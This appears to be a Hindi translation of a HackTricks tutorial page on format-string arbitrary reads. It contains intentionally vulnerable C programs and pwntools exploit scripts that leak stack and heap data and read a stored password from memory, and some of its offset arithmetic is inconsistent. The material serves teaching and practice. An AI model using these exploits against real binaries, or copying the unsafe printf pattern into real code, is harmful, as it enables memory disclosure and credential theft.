फ़ॉर्मेट स्ट्रिंग्स - मनमाने पढ़ने का उदाहरण
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बाइनरी पढ़ना शुरू करें
कोड
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
इसे संकलित करें:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
शोषण
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- ऑफसेट 11 है क्योंकि कई A सेट करने और ब्रूट-फोर्सिंग करने से 0 से 50 तक के लूप में पाया गया कि ऑफसेट 11 पर और 5 अतिरिक्त अक्षरों (हमारे मामले में पाइप
|
) के साथ, एक पूर्ण पते को नियंत्रित करना संभव है। - मैंने
%11$p
का उपयोग किया पैडिंग के साथ ताकि पता पूरी तरह से 0x4141414141414141 हो। - फॉर्मेट स्ट्रिंग पेलोड पता से पहले है क्योंकि printf एक नल बाइट पर पढ़ना बंद कर देता है, इसलिए यदि हम पता भेजते हैं और फिर फॉर्मेट स्ट्रिंग, तो printf कभी भी फॉर्मेट स्ट्रिंग तक नहीं पहुंचेगा क्योंकि एक नल बाइट पहले ही मिल जाएगी।
- चयनित पता 0x00400000 है क्योंकि यहीं बाइनरी शुरू होती है (कोई PIE नहीं)
पासवर्ड पढ़ें
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
इसे संकलित करें:
clang -o fs-read fs-read.c -Wno-format-security
स्टैक से पढ़ें
stack_password
स्टैक में संग्रहीत होगा क्योंकि यह एक स्थानीय चर है, इसलिए स्टैक की सामग्री को दिखाने के लिए printf का दुरुपयोग करना पर्याप्त है। यह स्टैक से पासवर्ड लीक करने के लिए पहले 100 स्थानों को BF करने का एक शोषण है:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
छवि में यह देखा जा सकता है कि हम 10th
स्थिति से स्टैक से पासवर्ड लीक कर सकते हैं:
.png)
.png)
डेटा पढ़ें
समान एक्सप्लॉइट को %s
के बजाय %p
के साथ चलाने पर, यह संभव है कि हम स्टैक से %25$p
पर एक हीप पता लीक कर सकें। इसके अलावा, लीक किए गए पते (0xaaaab7030894
) की तुलना उस प्रक्रिया में मेमोरी में पासवर्ड की स्थिति से करने पर हम पते के अंतर को प्राप्त कर सकते हैं:
अब यह पता लगाने का समय है कि स्टैक में 1 पते को कैसे नियंत्रित किया जाए ताकि इसे दूसरे फॉर्मेट स्ट्रिंग कमजोरियों से एक्सेस किया जा सके:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
और यह देखना संभव है कि try 14 में उपयोग किए गए पासिंग के साथ हम एक पते को नियंत्रित कर सकते हैं:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।